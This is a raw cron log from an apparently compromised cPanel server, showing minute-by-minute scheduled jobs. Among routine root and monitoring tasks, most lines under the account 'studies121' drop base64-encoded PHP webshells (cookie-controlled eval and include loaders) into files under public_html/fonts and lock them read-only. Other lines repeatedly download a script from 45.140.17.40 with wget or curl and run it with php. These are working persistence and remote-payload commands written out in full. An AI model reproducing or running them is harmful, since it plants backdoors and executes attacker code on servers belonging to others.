Sep 10 03:21:01 ip-184-168-122-23 CROND[23698]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 03:21:01 ip-184-168-122-23 CROND[23696]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 03:22:01 ip-184-168-122-23 CROND[23879]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 03:22:01 ip-184-168-122-23 CROND[23881]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 03:22:01 ip-184-168-122-23 CROND[23882]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 03:22:01 ip-184-168-122-23 CROND[23883]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 03:22:01 ip-184-168-122-23 CROND[23884]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 03:23:01 ip-184-168-122-23 CROND[23987]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 03:23:01 ip-184-168-122-23 CROND[23990]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 03:23:01 ip-184-168-122-23 CROND[23989]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 03:23:01 ip-184-168-122-23 CROND[23991]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 03:24:01 ip-184-168-122-23 CROND[24072]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 03:24:01 ip-184-168-122-23 CROND[24078]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 03:24:02 ip-184-168-122-23 CROND[24080]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 03:24:02 ip-184-168-122-23 CROND[24082]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 03:24:02 ip-184-168-122-23 CROND[24081]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 03:25:01 ip-184-168-122-23 CROND[24181]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 03:25:01 ip-184-168-122-23 CROND[24185]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 03:25:01 ip-184-168-122-23 CROND[24188]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 03:25:01 ip-184-168-122-23 CROND[24191]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 03:25:01 ip-184-168-122-23 CROND[24189]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 03:25:01 ip-184-168-122-23 CROND[24190]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 03:26:01 ip-184-168-122-23 CROND[24290]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 03:26:01 ip-184-168-122-23 CROND[24292]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 03:26:01 ip-184-168-122-23 CROND[24294]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 03:26:01 ip-184-168-122-23 CROND[24293]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 03:26:01 ip-184-168-122-23 CROND[24295]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 03:27:01 ip-184-168-122-23 CROND[24405]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 03:27:01 ip-184-168-122-23 CROND[24407]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/nightly_gzip)
Sep 10 03:27:01 ip-184-168-122-23 CROND[24406]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 03:27:01 ip-184-168-122-23 CROND[24410]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 03:27:01 ip-184-168-122-23 CROND[24408]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 03:28:01 ip-184-168-122-23 CROND[24587]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 03:28:01 ip-184-168-122-23 CROND[24590]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 03:28:01 ip-184-168-122-23 CROND[24588]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 03:28:01 ip-184-168-122-23 CROND[24589]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 03:28:01 ip-184-168-122-23 CROND[24591]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 03:29:01 ip-184-168-122-23 CROND[24692]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 03:29:01 ip-184-168-122-23 CROND[24694]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 03:29:01 ip-184-168-122-23 CROND[24695]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 03:29:01 ip-184-168-122-23 CROND[24696]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 03:30:01 ip-184-168-122-23 CROND[24807]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 03:30:01 ip-184-168-122-23 CROND[24809]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 03:30:01 ip-184-168-122-23 CROND[24812]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 03:30:01 ip-184-168-122-23 CROND[24817]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 03:30:01 ip-184-168-122-23 CROND[24815]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 03:30:01 ip-184-168-122-23 CROND[24819]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 03:30:01 ip-184-168-122-23 CROND[24814]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 03:30:01 ip-184-168-122-23 CROND[24821]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 03:31:01 ip-184-168-122-23 CROND[24939]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 03:31:01 ip-184-168-122-23 CROND[24941]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 03:31:01 ip-184-168-122-23 CROND[24943]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 03:31:01 ip-184-168-122-23 CROND[24942]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 03:31:02 ip-184-168-122-23 CROND[24944]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 03:32:01 ip-184-168-122-23 CROND[25044]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 03:32:01 ip-184-168-122-23 CROND[25045]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 03:32:01 ip-184-168-122-23 CROND[25049]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 03:32:01 ip-184-168-122-23 CROND[25048]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 03:32:01 ip-184-168-122-23 CROND[25050]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 03:33:02 ip-184-168-122-23 CROND[25127]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 03:33:02 ip-184-168-122-23 CROND[25128]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 03:33:02 ip-184-168-122-23 CROND[25129]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
